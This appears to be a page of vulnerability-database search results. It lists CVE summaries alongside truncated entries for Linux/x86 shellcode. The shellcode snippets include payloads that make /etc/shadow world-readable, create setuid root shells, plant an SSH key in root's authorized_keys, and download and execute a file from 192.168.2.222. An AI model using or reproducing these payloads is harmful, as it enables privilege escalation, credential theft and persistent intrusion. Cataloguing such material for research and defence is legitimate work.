913 matches found
kernel: x86-64: seccomp: 32/64 syscall hole
The securecomputing function in kernel/seccomp.c in the seccomp subsystem in the Linux kernel 2.6.28.7 and earlier on the x8664 platform, when CONFIGSECCOMP is enabled, does not properly handle 1 a 32-bit process making a 64-bit syscall or 2 a 64-bit process making a 32-bit syscall, which allows...
Integer overflow
Integer overflow in the ftsbuild function in fts.c in libc in 1 OpenBSD 4.4 and earlier and 2 Microsoft Interix 6.0 build 10.0.6030.0 allows context-dependent attackers to cause a denial of service application crash via a deep directory tree, related to the ftslevel structure member, as...
CVE-2009-0537
Integer overflow in the ftsbuild function in fts.c in libc in 1 OpenBSD 4.4 and earlier and 2 Microsoft Interix 6.0 build 10.0.6030.0 allows context-dependent attackers to cause a denial of service application crash via a deep directory tree, related to the ftslevel structure member, as...
CVE-2009-0537
Integer overflow in the ftsbuild function in fts.c in libc in 1 OpenBSD 4.4 and earlier and 2 Microsoft Interix 6.0 build 10.0.6030.0 allows context-dependent attackers to cause a denial of service application crash via a deep directory tree, related to the ftslevel structure member, as...
CVE-2009-0537
Integer overflow in the ftsbuild function in fts.c in libc in 1 OpenBSD 4.4 and earlier and 2 Microsoft Interix 6.0 build 10.0.6030.0 allows context-dependent attackers to cause a denial of service application crash via a deep directory tree, related to the ftslevel structure member, as...
Linux/x86 - chmod 666 /etc/shadow - 41 bytes
No description provided by source. / [email protected] 0x04abril0x7d2 int syschmodconst char filename, modet mode ... Utilizando la interrupcion 15chmod, asignando el octal 0666 al archivo deseado. En este caso /etc/shadow Hice unas modificaciones en el codigo y solo pude reducir la...
Linux/x86 - /bin/cp /bin/sh /tmp/katy & chmod 4555
No description provided by source. / Linux/x86 /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork / include "stdio.h" char shellcode = "\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f" "\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89"...
linux/x86 chmod("/etc/shadow",666) & exit(0) 30 bytes
No description provided by source. / Linux/x86 - chmod"/etc/shadow",666 & exit0 Info reg ------------------ %eax = 15 %ebx = /etc/shadow %ecx = 666 %eax = 1 %ebx = 0 Shellcode 30 bytes Author: Jonathan Salwan submit AT shell-storm.org Web: http://www.shell-storm.org Disassembly of section .text:...
Linux/x86 - chmod() 666 /etc/shadow & exit()
No description provided by source. / Linux/x86 - chmod 666 /etc/shadow & exit Info reg ------------------ %eax = 15 %ebx = /etc/shadow %ecx = 666 %eax = 1 %ebx = 0 Shellcode 30 bytes Author: Jonathan Salwan submit AT shell-storm.org Web: http://www.shell-storm.org Disassembly of section .text:...
linux/x86 chmod(""/etc/shadow"" 666) & exit(0) 30 bytes
No description provided by source. / Linux/x86 - chmod"/etc/shadow",666 & exit0 Info reg ------------------ %eax = 15 %ebx = /etc/shadow %ecx = 666 %eax = 1 %ebx = 0 Shellcode 30 bytes Author: Jonathan Salwan submit AT shell-storm.org Web: http://www.shell-storm.org Disassembly of section .text:...
linux/x86 chmod"/etc/shadow",666 & exit0 30 bytes
linux/x86 chmod"/etc/shadow",666 & exit0 30 bytes. Shellcode exploit for linx86 platform / Linux/x86 - chmod"/etc/shadow",666 & exit0 Info reg ------------------ %eax = 15 %ebx = /etc/shadow %ecx = 666 %eax = 1 %ebx = 0 Shellcode 30 bytes Author: Jonathan Salwan Web: http://www.shell-storm.org...
linux/x86 chmod("/etc/shadow",666) & exit(0) 30 bytes
Exploit for linux/x86 platform in category shellcode ===================================================== linux/x86 chmod"/etc/shadow",666 & exit0 30 bytes ===================================================== / Linux/x86 - chmod"/etc/shadow",666 & exit0 Info reg ------------------ %eax = 15 %eb...
Linux/x86 - setuid(0) & chmod("/tmp",111) & exit(0)
No description provided by source. / Linux/x86 - setuid0 & chmod"/tmp",111 & exit0 Info reg ------------------ %eax = 23 %ebx = 0 %eax = 15 %ebx = /tmp %ecx = 111 %eax = 1 %ebx = 0 Shellcode 25 bytes Author: Jonathan Salwan submit AT shell-storm.org Web: http://www.shell-storm.org Disassembly of...
Linux/x86 - setuid(0) + chmod(/etc/shadow, 0666) Shellcode (37 bytes)
Linux/x86 - setuid0 + chmod/etc/shadow, 0666 Shellcode 37 bytes. Shellcode exploit for Linuxx86 platform / Title: linux/x86 setuid0 + chmod"/etc/shadow", 0666 Shellcode 37 Bytes Type: Shellcode Author: antrhacks Platform: Linux X86 / / ASSembly 31 db xor %ebx,%ebx b0 17 mov $0x17,%al cd 80 int...
Linux/x86 - Download File (http://192.168.2.222/x) + chmod() + execute Shellcode (108 bytes)
Linux/x86 - Download File http://192.168.2.222/x + chmod + execute Shellcode 108 bytes. Shellcode exploit for Linuxx86 platform / ; Filename: downloadexec.nasm ; Author: Daniel Sauder ; Website: http://govolution.wordpress.com/ ; Tested on: Ubuntu 12.04 / 32Bit ; License:...
Linux/x86 - chmod(/bin/sh,04775) + set sh +s Shellcode (31 bytes)
Linux/x86 - chmod/bin/sh,04775 + set sh +s Shellcode 31 bytes. Shellcode exploit for Linuxx86 platform / Linux x86 shellcode by bob from Dtors.net. chmod"//bin/sh" ,04775; set sh +s / include char shellcode= "\x31\xc0\x31\xdb\x31\xc9\x53\x68\x6e" "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"...
Linux/x86 - execve(chmod 0777 /etc/shadow) Shellcode (57 bytes)
Linux/x86 - execvechmod 0777 /etc/shadow Shellcode 57 bytes. Shellcode exploit for Linuxx86 platform Linux/x86 execve-chmod 0777 /etc/shadow 57 bytes Author: Hamza Megahed Twitter: @HamzaMega blog: hamza-megadotblogspotdotcom E-mail: hamzadotmegahedatgmaildotcom xor %eax,%eax push %eax pushl...
Linux/x86 - chmod(/etc/shadow, 0666) + ASCII Shellcode (443 bytes)
Linux/x86 - chmod/etc/shadow, 0666 + ASCII Shellcode 443 bytes. Shellcode exploit for Linuxx86 platform / | Title: Linux/x86 chmod/etc/shadow, 0666 ASCII Shellcode 443 Bytes | Type: Shellcode | Author: agix | Platform: Linux X86 / include char shellcode = "LLLLhHEY!X5HEY!"...
linux/x86 - append rsa key to /root/.ssh/authorized_keys2 295 bytes
linux/x86 append rsa key to /root/.ssh/authorizedkeys2 295 bytes. Shellcode exploit for linx86 platform / linux/x86 shellcode to append rsa key to /root/.ssh/authorizedkeys2 keys found at http://xenomuta.tuxfamily.org/exploits/authkey/ ssh -i idrsapwn root@pwned-host 295 bytes by XenoMuta | |/ / ...
S/Key和OPIE数据库漏洞
在使用S/Key或OPIE认证的服务器上存在一个安全漏洞。这个漏洞允许本地用户获得对S/Key或OPIE数据库的访问权。 S/Key是使用一次性口令技术的认证机制。系统管理员可以进行配置，使用户能够通过S/Key认证访问使用login8的任何服务，如Telnet和FTP。制定认证类型的配置文件是/etc/login.conf。 为了配置一个用户能够使用S/Key，管理员或该用户（如果程序是suid root）首先必须使用skeyinit（或keyinit）程序。这个程序初始化S/Key数据库（/etc/skeykeys）中的用户入口项。这个数据库文件包含输入S/Key口令时需要比较的信息...